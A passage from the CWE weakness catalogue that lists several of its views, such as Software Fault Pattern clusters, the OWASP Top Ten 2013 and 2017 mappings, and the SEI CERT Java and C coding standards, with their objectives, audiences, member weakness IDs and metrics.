HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	540
HasMember	B	248	Uncaught Exception	545
HasMember	B	250	Execution with Unnecessary Privileges	547
HasMember	B	252	Unchecked Return Value	553

Nature	Type	ID	Name	Page
HasMember	B	253	Incorrect Check of Function Return Value	560
HasMember	B	262	Not Using Password Aging	577
HasMember	B	263	Password Aging with Long Expiration	579
HasMember	B	266	Incorrect Privilege Assignment	580
HasMember	B	267	Privilege Defined With Unsafe Actions	583
HasMember	B	268	Privilege Chaining	586
HasMember	B	270	Privilege Context Switching Error	593
HasMember	C	271	Privilege Dropping / Lowering Errors	595
HasMember	B	273	Improper Check for Dropped Privileges	601
HasMember	B	283	Unverified Ownership	618
HasMember	B	290	Authentication Bypass by Spoofing	640
HasMember	B	294	Authentication Bypass by Capture-replay	647
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	653
HasMember	B	299	Improper Check for Certificate Revocation	661
HasMember	C	300	Channel Accessible by Non-Endpoint	663
HasMember	V	301	Reflection Attack in an Authentication Protocol	666
HasMember	B	304	Missing Critical Step in Authentication	671
HasMember	B	306	Missing Authentication for Critical Function	674
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	678
HasMember	B	308	Use of Single-factor Authentication	682
HasMember	B	312	Cleartext Storage of Sensitive Information	693
HasMember	B	319	Cleartext Transmission of Sensitive Information	705
HasMember	B	322	Key Exchange without Entity Authentication	711
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	713
HasMember	B	325	Missing Required Cryptographic Step	717
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	720
HasMember	B	331	Insufficient Entropy	736
HasMember	B	334	Small Space of Random Values	742
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	744
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	748
HasMember	B	341	Predictable from Observable State	753
HasMember	B	347	Improper Verification of Cryptographic Signature	764
HasMember	B	348	Use of Less Trusted Source	765
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	768
HasMember	F	352	Cross-Site Request Forgery (CSRF)	773
HasMember	B	353	Missing Support for Integrity Check	780
HasMember	B	354	Improper Validation of Integrity Check Value	782
HasMember	B	364	Signal Handler Race Condition	802
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	812
HasMember	B	369	Divide By Zero	818
HasMember	B	390	Detection of Error Condition Without Action	845
HasMember	B	392	Missing Report of Error Condition	853
HasMember	B	393	Return of Wrong Status Code	854
HasMember	C	400	Uncontrolled Resource Consumption	864
HasMember	C	406	Insufficient Control of Network Message Volume (Network Amplification)	884

Nature	Type	ID	Name	Page
HasMember	C	407	Inefficient Algorithmic Complexity	887
HasMember	B	408	Incorrect Behavior Order: Early Amplification	888
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	890
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	935
HasMember	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	952
HasMember	C	451	User Interface (UI) Misrepresentation of Critical Information	962
HasMember	V	453	Insecure Default Variable Initialization	966
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	967
HasMember	B	455	Non-exit on Failed Initialization	969
HasMember	V	456	Missing Initialization of a Variable	971
HasMember	V	467	Use of sizeof() on a Pointer Type	989
HasMember	B	468	Incorrect Pointer Scaling	992
HasMember	B	469	Use of Pointer Subtraction to Determine Size	994
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	996
HasMember	B	476	NULL Pointer Dereference	1009
HasMember	B	478	Missing Default Case in Switch Statement	1018
HasMember	B	480	Use of Incorrect Operator	1023
HasMember	B	483	Incorrect Block Delimitation	1032
HasMember	B	484	Omitted Break Statement in Switch	1034
HasMember	V	486	Comparison of Classes by Name	1036
HasMember	B	494	Download of Code Without Integrity Check	1055
HasMember	V	495	Private Data Structure Returned From A Public Method	1059
HasMember	V	496	Public Data Assigned to Private Array-Typed Field	1061
HasMember	V	498	Cloneable Class Containing Sensitive Information	1065
HasMember	V	499	Serializable Class Containing Sensitive Data	1067
HasMember	B	502	Deserialization of Untrusted Data	1072
HasMember	B	521	Weak Password Requirements	1089
HasMember	C	522	Insufficiently Protected Credentials	1091
HasMember	V	546	Suspicious Comment	1118
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	1120
HasMember	B	561	Dead Code	1133
HasMember	V	563	Assignment to Variable without Use	1137
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1144
HasMember	B	587	Assignment of a Fixed Address to a Pointer	1175
HasMember	V	595	Comparison of Object References Instead of Object Contents	1187
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1195
HasMember	B	602	Client-Side Enforcement of Server-Side Security	1200
HasMember	B	605	Multiple Binds to the Same Port	1205
HasMember	B	617	Reachable Assertion	1224
HasMember	B	621	Variable Extraction Error	1231
HasMember	B	627	Dynamic Variable Evaluation	1241
HasMember	B	628	Function Call with Incorrectly Specified Arguments	1243
HasMember	C	642	External Control of Critical State Data	1257
HasMember	B	648	Incorrect Use of Privileged APIs	1271

Nature	Type	ID	Name	Page
HasMember	C	667	Improper Locking	1299
HasMember	C	672	Operation on a Resource after Expiration or Release	1310
HasMember	C	674	Uncontrolled Recursion	1314
HasMember	B	676	Use of Potentially Dangerous Function	1317
HasMember	B	681	Incorrect Conversion between Numeric Types	1322
HasMember	B	698	Execution After Redirect (EAR)	1353
HasMember	B	708	Incorrect Ownership Assignment	1363
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	1367
HasMember	B	756	Missing Custom Error Page	1390
HasMember	B	763	Release of Invalid Pointer or Reference	1408
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1422
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1432
HasMember	B	783	Operator Precedence Logic Error	1453
HasMember	B	786	Access of Memory Location Before Start of Buffer	1461
HasMember	B	788	Access of Memory Location After End of Buffer	1470
HasMember	B	798	Use of Hard-coded Credentials	1486
HasMember	B	805	Buffer Access with Incorrect Length Value	1497
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	1507
HasMember	B	822	Untrusted Pointer Dereference	1515
HasMember	B	825	Expired Pointer Dereference	1523
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	1532
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1546
HasMember	B	838	Inappropriate Encoding for Output Context	1551
HasMember	B	839	Numeric Range Comparison Without Minimum Check	1554
HasMember	B	841	Improper Enforcement of Behavioral Workflow	1559
HasMember	C	862	Missing Authorization	1567
HasMember	C	863	Incorrect Authorization	1573

Metrics

	CWEs in this view		Total CWEs
Weaknesses	157	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	157	out of	1226

View-888: Software Fault Pattern (SFP) Clusters

View ID : 888 **Status:** Incomplete
Type : Graph

Objective

CWE identifiers in this view are associated with clusters of Software Fault Patterns (SFPs).

Audience

Applied Researchers

Academic Researchers

Product Vendors

Membership

Nature	Type	ID	Name	Page
HasMember	C	885	SFP Primary Cluster: Risky Values	1922
HasMember	C	886	SFP Primary Cluster: Unused entities	1922
HasMember	C	887	SFP Primary Cluster: API	1922
HasMember	C	889	SFP Primary Cluster: Exception Management	1922
HasMember	C	890	SFP Primary Cluster: Memory Access	1923
HasMember	C	891	SFP Primary Cluster: Memory Management	1923
HasMember	C	892	SFP Primary Cluster: Resource Management	1923
HasMember	C	893	SFP Primary Cluster: Path Resolution	1924
HasMember	C	894	SFP Primary Cluster: Synchronization	1924
HasMember	C	895	SFP Primary Cluster: Information Leak	1924
HasMember	C	896	SFP Primary Cluster: Tainted Input	1925
HasMember	C	897	SFP Primary Cluster: Entry Points	1925
HasMember	C	898	SFP Primary Cluster: Authentication	1925
HasMember	C	899	SFP Primary Cluster: Access Control	1926
HasMember	C	901	SFP Primary Cluster: Privilege	1926
HasMember	C	902	SFP Primary Cluster: Channel	1927
HasMember	C	903	SFP Primary Cluster: Cryptography	1927
HasMember	C	904	SFP Primary Cluster: Malware	1927
HasMember	C	905	SFP Primary Cluster: Predictability	1928
HasMember	C	906	SFP Primary Cluster: UI	1928
HasMember	C	907	SFP Primary Cluster: Other	1928

References

[REF-19]Nikolai Mansourov and Djenana Campara. "System Assurance". 2010 December 6. < https://www.elsevier.com/books/system-assurance/mansourov/978-0-12-381414-2 >.
[REF-20]Ben Calloni, Nikolai Mansourov and Djenana Campara. "Task Order 0006: Vulnerability Path Analysis and Demonstration (VPAD). Volume 2 - White Box Definitions of Software Fault Patterns". 2011 December. < https://apps.dtic.mil/docs/citations/ADB381215 >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	606	out of	875
Categories	83	out of	312
Views	0	out of	39
Total	689	out of	1226

View-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

View ID : 900 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

Membership

Nature	Type	ID	Name	Page
HasMember	C	864	2011 Top 25 - Insecure Interaction Between Components	1911
HasMember	C	865	2011 Top 25 - Risky Resource Management	1911
HasMember	C	866	2011 Top 25 - Porous Defenses	1912
HasMember	C	867	2011 Top 25 - Weaknesses On the Cusp	1912

References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	41	out of	875
Categories	4	out of	312
Views	0	out of	39
Total	45	out of	1226

View-919: Weaknesses in Mobile Applications

View ID : 919 **Status:** Incomplete
Type : Implicit

Objective

CWE entries in this view (slice) are often seen in mobile applications.

Filter

/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Technology/@Class='Mobile']

Membership

Nature	Type	ID	Name	Page
HasMember	V	919	Weaknesses in Mobile Applications	2043

Metrics

	CWEs in this view		Total CWEs
Weaknesses	21	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	21	out of	1226

View-928: Weaknesses in OWASP Top Ten (2013)

View ID : 928 **Status:** Obsolete
Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2013. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Membership

Nature	Type	ID	Name	Page
HasMember	C	929	OWASP Top Ten 2013 Category A1 - Injection	1929
HasMember	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	1929
HasMember	C	931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)	1930
HasMember	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	1930
HasMember	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	1931
HasMember	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	1931
HasMember	C	935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control	1932
HasMember	C	936	OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)	1932
HasMember	C	937	OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities	1932
HasMember	C	938	OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards	1933

Notes

Relationship

The relationships in this view have been pulled directly from the 2013 OWASP Top 10 document, either from the explicit mapping section, or from weakness types alluded to in the written sections.

References

[REF-926]"Top 10 2013". 2013 June 2. OWASP. < https://www.owasp.org/index.php/Top_10_2013 >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	36	out of	875
Categories	13	out of	312
Views	0	out of	39

	CWEs in this view		Total CWEs
Total	49	out of	1226

View-999: Weaknesses without Software Fault Patterns

View ID : 999 **Status:** Incomplete
Type : Implicit

Objective

CWE identifiers in this view are weaknesses that do not have associated Software Fault Patterns (SFPs), as covered by the CWE-888 view. As such, they represent gaps in coverage by the current software fault pattern model.

Audience

Applied Researchers

Academic Researchers

Product Vendors

Filter

/Weakness_Catalog/Weaknesses/Weakness[not(./Taxonomy_Mappings/Taxonomy_Mapping/@Taxonomy_Name='Software Fault Patterns')][not(@Status='Deprecated')]

Membership

Nature	Type	ID	Name	Page
HasMember	V	999	Weaknesses without Software Fault Patterns	2045

Metrics

	CWEs in this view		Total CWEs
Weaknesses	580	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	580	out of	1226

View-1000: Research Concepts

View ID : 1000 **Status:** Draft
Type : Graph

Objective

This view is intended to facilitate research into weaknesses, including their inter-dependencies, and can be leveraged to systematically identify theoretical gaps within CWE. It is mainly organized according to abstractions of behaviors instead of how they can be detected, where they appear in code, and when they are introduced in the development life cycle.

Audience

Academic Researchers

Academic researchers can use the high-level classes that lack a significant number of children to identify potential areas for future research.

Vulnerability Analysts

Those who perform vulnerability discovery/analysis use this view to identify related weaknesses that might be leveraged by following relationships between higher-level classes and bases.

Assessment Tool Vendors

Assessment vendors often use this view to help identify additional weaknesses that a tool may be able to detect as the relationships are more aligned with a tool's technical capabilities.

Membership

Nature	Type	ID	Name	Page
HasMember	P	284	Improper Access Control	619
HasMember	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	943
HasMember	P	664	Improper Control of a Resource Through its Lifetime	1291
HasMember	P	682	Incorrect Calculation	1326
HasMember	P	691	Insufficient Control Flow Management	1342
HasMember	P	693	Protection Mechanism Failure	1344
HasMember	P	697	Incorrect Comparison	1350
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	1355
HasMember	P	707	Improper Neutralization	1362
HasMember	P	710	Improper Adherence to Coding Standards	1365

Notes

Other

This view uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars. Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies. This view is roughly aligned with MITRE's research into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and zero categories.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	875	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	875	out of	1226

View-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

View ID : 1003 **Status:** Incomplete
Type : Graph

Objective

CWE entries in this view (graph) may be used to categorize potential weaknesses within sources that handle public, third-party vulnerability information, such as the National Vulnerability Database (NVD). By design, this view is incomplete; it is limited to a small number of the most commonly-seen weaknesses, so that it is easier for humans to use. This view uses a shallow hierarchy of two levels in order to simplify the complex, category-oriented navigation of the entire CWE corpus.

Membership

Nature	Type	ID	Name	Page
HasMember	C	20	Improper Input Validation	19

Nature	Type	ID	Name	Page
HasMember		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
HasMember		116	Improper Encoding or Escaping of Output	260
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
HasMember		200	Exposure of Sensitive Information to an Unauthorized Actor	466
HasMember		269	Improper Privilege Management	589
HasMember		287	Improper Authentication	630
HasMember		311	Missing Encryption of Sensitive Data	686
HasMember		326	Inadequate Encryption Strength	718
HasMember		327	Use of a Broken or Risky Cryptographic Algorithm	720
HasMember		330	Use of Insufficiently Random Values	730
HasMember		345	Insufficient Verification of Data Authenticity	758
HasMember		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793
HasMember		400	Uncontrolled Resource Consumption	864
HasMember		404	Improper Resource Shutdown or Release	877
HasMember		436	Interpretation Conflict	944
HasMember		610	Externally Controlled Reference to a Resource in Another Sphere	1213
HasMember		662	Improper Synchronization	1288
HasMember		665	Improper Initialization	1293
HasMember		668	Exposure of Resource to Wrong Sphere	1305
HasMember		669	Incorrect Resource Transfer Between Spheres	1307
HasMember		670	Always-Incorrect Control Flow Implementation	1308
HasMember		672	Operation on a Resource after Expiration or Release	1310
HasMember		674	Uncontrolled Recursion	1314
HasMember	P	682	Incorrect Calculation	1326
HasMember	P	697	Incorrect Comparison	1350
HasMember		704	Incorrect Type Conversion or Cast	1357
HasMember		706	Use of Incorrectly-Resolved Name or Reference	1360
HasMember		732	Incorrect Permission Assignment for Critical Resource	1367
HasMember		754	Improper Check for Unusual or Exceptional Conditions	1381
HasMember		755	Improper Handling of Exceptional Conditions	1389
HasMember		834	Excessive Iteration	1544
HasMember		862	Missing Authorization	1567
HasMember		863	Incorrect Authorization	1573
HasMember		913	Improper Control of Dynamically-Managed Code Resources	1588
HasMember		922	Insecure Storage of Sensitive Information	1603

Notes

Maintenance

This view has been modified significantly since its last major revision in 2015. This view is likely to evolve based on the experience of NVD analysts, public feedback, and the CWE Team.

References

[REF-1]NIST. "CWE - Common Weakness Enumeration". < http://nvd.nist.gov/cwe.cfm >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	124	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	124	out of	1226

View-1008: Architectural Concepts

View ID : 1008 **Status:** Incomplete
Type : Graph

Objective

This view organizes weaknesses according to common architectural security tactics. It is intended to assist architects in identifying potential mistakes that can be made when designing software.

Audience

Software Developers

Architects that are part of a software development team may find this view useful as the weaknesses are organized by known security tactics, aiding the arcitect in embedding security throughout the design process instead of discovering weaknesses after the software has been built.

Educators

Educators may use this view as reference material when discussing security by design or architectural weaknesses, and the types of mistakes that can be made.

Membership

Nature	Type	ID	Name	Page
HasMember	C	1009	Audit	1963
HasMember	C	1010	Authenticate Actors	1964
HasMember	C	1011	Authorize Actors	1965
HasMember	C	1012	Cross Cutting	1967
HasMember	C	1013	Encrypt Data	1968
HasMember	C	1014	Identify Actors	1969
HasMember	C	1015	Limit Access	1970
HasMember	C	1016	Limit Exposure	1971
HasMember	C	1017	Lock Computer	1971
HasMember	C	1018	Manage User Sessions	1972
HasMember	C	1019	Validate Inputs	1972
HasMember	C	1020	Verify Message Integrity	1974

Notes

Other

The top level categories in this view represent the individual tactics that are part of a secure-by-design approach to software development. The weaknesses that are members of each category contain information about how each is introduced relative to the software's architecture. Three different modes of introduction are used: Omission - caused by missing a security tactic when it is necessary. Commission - refers to incorrect choice of tactics which could result in undesirable consequences. Realization - appropriate security tactics are adopted but are incorrectly implemented.

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.
[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	223	out of	875
Categories	12	out of	312
Views	0	out of	39
Total	235	out of	1226

View-1026: Weaknesses in OWASP Top Ten (2017)

View ID : 1026 **Status:** Incomplete
Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2017.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing product customers with a way of asking their software development teams to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Membership

Nature	Type	ID	Name	Page
HasMember	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1975
HasMember	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1975
HasMember	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1976
HasMember	C	1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)	1976
HasMember	C	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1977
HasMember	C	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1977
HasMember	C	1033	OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)	1978
HasMember	C	1034	OWASP Top Ten 2017 Category A8 - Insecure Deserialization	1978

Nature	Type	ID	Name	Page
HasMember	C	1035	OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities	1978
HasMember	C	1036	OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring	1979

Notes

Relationship

The relationships in this view have been pulled directly from the 2017 OWASP Top 10 document, either from the explicit mapping section, or from weakness types alluded to in the written sections.

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	41	out of	875
Categories	12	out of	312
Views	0	out of	39
Total	53	out of	1226

View-1040: Quality Weaknesses with Indirect Security Impacts

View ID : 1040 **Status:** Incomplete
Type : Implicit

Objective

CWE identifiers in this view (slice) are quality issues that only indirectly make it easier to introduce a vulnerability and/or make the vulnerability more difficult to detect or mitigate.

Audience

Assessment Tool Vendors

This view makes it easier for assessment vendors to identify and improve coverage for quality-related weaknesses.

Software Developers

This view makes it easier for developers to identify and learn about issues that might make their code more difficult to maintain, perform efficiently or reliably, or secure.

Product Vendors

This view makes it easier for software vendors to identify important issues that may make their software more difficult to maintain, perform efficiently or reliably, or secure.

Filter

/Weakness_Catalog/Weaknesses/Weakness[Weakness_Ordinalities/Weakness_Ordinality/Ordinality='Indirect']

Membership

Nature	Type	ID	Name	Page
HasMember	V	1040	Quality Weaknesses with Indirect Security Impacts	2050

Metrics

	CWEs in this view		Total CWEs
Weaknesses	110	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	110	out of	1226

View-1128: CISQ Quality Measures (2016)

View ID : 1128 **Status:** Incomplete
Type : Graph

Objective

This view outlines the most important software quality issues as identified by the Consortium for Information & Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2016. These measures are derived from Object Management Group (OMG) standards.

Audience

Software Developers

This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.

Product Vendors

This view can help product vendors understand code quality issues and convey an overall status of their software.

Assessment Tool Vendors

This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

Membership

Nature	Type	ID	Name	Page
HasMember	C	1129	CISQ Quality Measures - Reliability	1979
HasMember	C	1130	CISQ Quality Measures - Maintainability	1980
HasMember	C	1131	CISQ Quality Measures - Security	1981
HasMember	C	1132	CISQ Quality Measures - Performance	1982

References

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < http://it-cisq.org/standards/automated-quality-characteristic-measures/ >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	77	out of	875
Categories	4	out of	312
Views	0	out of	39
Total	81	out of	1226

View-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java

View ID : 1133 **Status:** Stable

Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT Oracle Coding Standard for Java.

Audience

Software Developers

By following the SEI CERT Oracle Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the SEI CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Membership

Nature	Type	ID	Name	Page
HasMember	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1983
HasMember	C	1135	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)	1984
HasMember	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1984
HasMember	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1985
HasMember	C	1138	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR)	1985
HasMember	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1986
HasMember	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1987
HasMember	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1987
HasMember	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1988
HasMember	C	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1988
HasMember	C	1144	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)	1989
HasMember	C	1145	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)	1989
HasMember	C	1146	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM)	1990
HasMember	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1990

Nature	Type	ID	Name	Page
HasMember	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1991
HasMember	C	1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)	1991
HasMember	C	1150	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)	1992
HasMember	C	1151	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI)	1992
HasMember	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1993
HasMember	C	1153	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD)	1993
HasMember	C	1175	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON)	2004

Notes

Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

References

[REF-970]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java". < https://wiki.sei.cmu.edu/confluence/display/java/SEI+CERT+Oracle+Coding+Standard+for+Java >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	88	out of	875
Categories	21	out of	312
Views	0	out of	39
Total	109	out of	1226

View-1154: Weaknesses Addressed by the SEI CERT C Coding Standard

View ID : 1154 **Status:** Stable
Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT C Coding Standard.

Audience

Software Developers

By following the SEI CERT C Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the SEI CERT C Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Membership

Nature	Type	ID	Name	Page
HasMember	C	1155	SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE)	1994
HasMember	C	1156	SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1994
HasMember	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1995
HasMember	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1995
HasMember	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1996
HasMember	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1997
HasMember	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1997
HasMember	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1998
HasMember	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1999
HasMember	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1999
HasMember	C	1166	SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)	2000
HasMember	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	2000
HasMember	C	1168	SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API)	2001
HasMember	C	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	2001
HasMember	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	2002
HasMember	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	2003
HasMember	C	1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)	2003

Notes

Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

References

